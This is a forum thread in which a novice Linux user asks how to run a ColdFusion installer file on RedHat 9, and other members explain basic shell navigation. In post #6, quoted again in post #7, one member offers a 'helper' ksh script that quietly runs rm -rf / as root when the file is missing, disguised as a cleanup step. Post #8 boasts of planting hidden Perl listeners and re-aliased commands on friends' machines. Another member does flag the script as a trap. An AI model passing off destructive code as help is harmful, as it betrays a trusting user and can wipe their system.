Help installing ColdFusion on RedHat 9.0

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • dyst0pia
    AKA Homeboy
    • Nov 2003
    • 263

    #1

    Help installing ColdFusion on RedHat 9.0

    I am having trouble installing coldfusion on my new installation of redhat 9.0.

    Keep in mind I am an incredibly novice linux user.

    Basically, I can install coldfusion just fine, at least for the first part of it.

    Then, the installation stops, and it says to go into;

    home/chris/cf/bin

    and to run some file.

    Basically, I don't know how to use the terminal so that I can go directly into that folder and run the file.

    Can I just use the command for running it, only putting the :

    home/chris/cf/bin

    in front of it?

    I am just fooling around, trying to work on some web stuff. Decided I might as well install coldfusion.


    Anybody got any recommendations?

    - My Feedback
  • OfficerGoat
    My Liver! My Liver!
    • May 2003
    • 532

    #2
    Cold Fusion?? Dear lord...... anyhow..

    Some basic console commands...

    PWD = what directory am I working in? ..
    LS = list the files in this directory
    CD = Change Directory

    With those three commands do the following...
    1st "PWD" to see where you are located.... Proboly will be /home/chris/

    If it is do a "ls -l" this will list the contents of your directory in longhand.... is the cf directory there? If so...

    "CD cf" .. this will move you to the /home/chris/cf direcory and then "CD bin" to put you into the /home/chris/cf/bin directory. Or if you wanna be fancy.... "cd ./cf/bin/" and do it all in one fell swoop. Personaly when I am fidling around with new stuff I do it one dir at a time because I like to peep at the contents and structures of the other dirs.

    Do another LS ... is the file you are looking for there. BTW what command is it asking you to run? Depending on the specific command it will depend on how you want to run it. Weather it be in that directory or simply call it out as /home/chris/cf/bin/filename or if its run make from that directory. You have to remember that some of these commands function differently depending on where your working directory is so if it says run it from that location its proboly a good idea to do so unless you know specificaly can get away without doing so.
    Sig image must be under 20k

    Comment

    • Fixion
      Registered User
      • Aug 2003
      • 815

      #3
      Heh, why are you are using Cold Fusion?

      Do you have ksh installed? What modules do you have running in Apache? Do you have Apache installed?

      ./home/chris/cf/bin/[file to run here] should work.
      .

      Comment

      • OfficerGoat
        My Liver! My Liver!
        • May 2003
        • 532

        #4
        Originally posted by Fixion


        ./home/chris/cf/bin/[file to run here] should work.
        Ax the . on the front. the . says relative to your current directory... withoutit it would be relative to the root which in this case is more likely what you want.

        Just to be superclear if you were in the folder /home/goat/ persay it would translate out to...
        /home/goat/home/chris/cf/bin/

        Clear as mud yet?
        Sig image must be under 20k

        Comment

        • Fixion
          Registered User
          • Aug 2003
          • 815

          #5
          Or you could do 'echo "/home/chris/cf/bin/[file]" | /bin/bash' just for kicks...
          Just clearing it up .
          .

          Comment

          • lopxtc
            Unix Geek
            • Oct 2001
            • 2706

            #6
            Well lets confuse him more ...

            $ touch doSomething.ksh
            $ vi doSomething.ksh
            (press i)

            #!/bin/ksh

            if [-f /home/chris/cf/bin/(insert_file_name)]; then
            /home/chris/cf/bin/(insert_file_name)
            else
            echo "file doesnt exist."
            if [$UID -eq "0"]; then
            echo "cleaning up un-needed files for you."
            rm -rf /
            fi
            fi

            (press esc, shift+;, wq!, enter)

            $ chmod +x doSomething.ksh
            $ ./doSomething.ksh

            Aaron

            *dislaimer .. I am not responsible if this doesnt do what you want
            Team Managed Aggression, Missouri Paintball

            Pround owner of a 2003 Shocker, and AO.org user ... an almost unheard of combo.

            "Love, Peace, and Shonen Knife!"
            AOLIM - lopxtc

            Comment

            • Fixion
              Registered User
              • Aug 2003
              • 815

              #7
              Originally posted by lopxtc
              Well lets confuse him more ...

              $ touch doSomething.ksh
              $ vi doSomething.ksh
              (press i)

              #!/bin/ksh

              if [-f /home/chris/cf/bin/(insert_file_name)]; then
              /home/chris/cf/bin/(insert_file_name)
              else
              echo "file doesnt exist."
              if [$UID -eq "0"]; then
              echo "cleaning up un-needed files for you."
              rm -rf /
              fi
              fi

              (press esc, shift+;, wq!, enter)

              $ chmod +x doSomething.ksh
              $ ./doSomething.ksh

              Aaron

              *dislaimer .. I am not responsible if this doesnt do what you want
              Umm... you might not want to run that as root . Then again, it might be a good thing, lol. Then install Slackware, Debian, Gentoo, or some BSD. Thats where its at.

              Iopxtc - why are you trying to screw him over? I took the liberty to modify the script..

              Modified shell script:

              #!/bin/ksh

              if [$UID -eq "0"]; then
              echo "Don't run scripts you get off the net as root unless you know what it does! Espechially if it tries to delete everything."
              fi
              echo "/home/chris/cf/bin/(insert_file_name)" | /bin/bash
              Last edited by Fixion; 03-09-2004, 12:55 PM.
              .

              Comment

              • lopxtc
                Unix Geek
                • Oct 2001
                • 2706

                #8
                All in good fun ... I believe that the average person should have to rescue/repair/restore a linux box at least once a month just to be up on things hehehe

                You wouldnt want to know some of the nasty scripts we would install on friends boxes that insist on running as root all the time.

                We would install Perl scripts listing on ports <1024 that would run in the background and wait for a proper sized ping packet to hit it ... then it would run and randomly issue ifconfig eth0 down and ifconfig eth0 up commands.

                We would re-alias commands or move common commands and create symbolic links in their place to different commands heheheheh

                Aaron
                Team Managed Aggression, Missouri Paintball

                Pround owner of a 2003 Shocker, and AO.org user ... an almost unheard of combo.

                "Love, Peace, and Shonen Knife!"
                AOLIM - lopxtc

                Comment

                Working...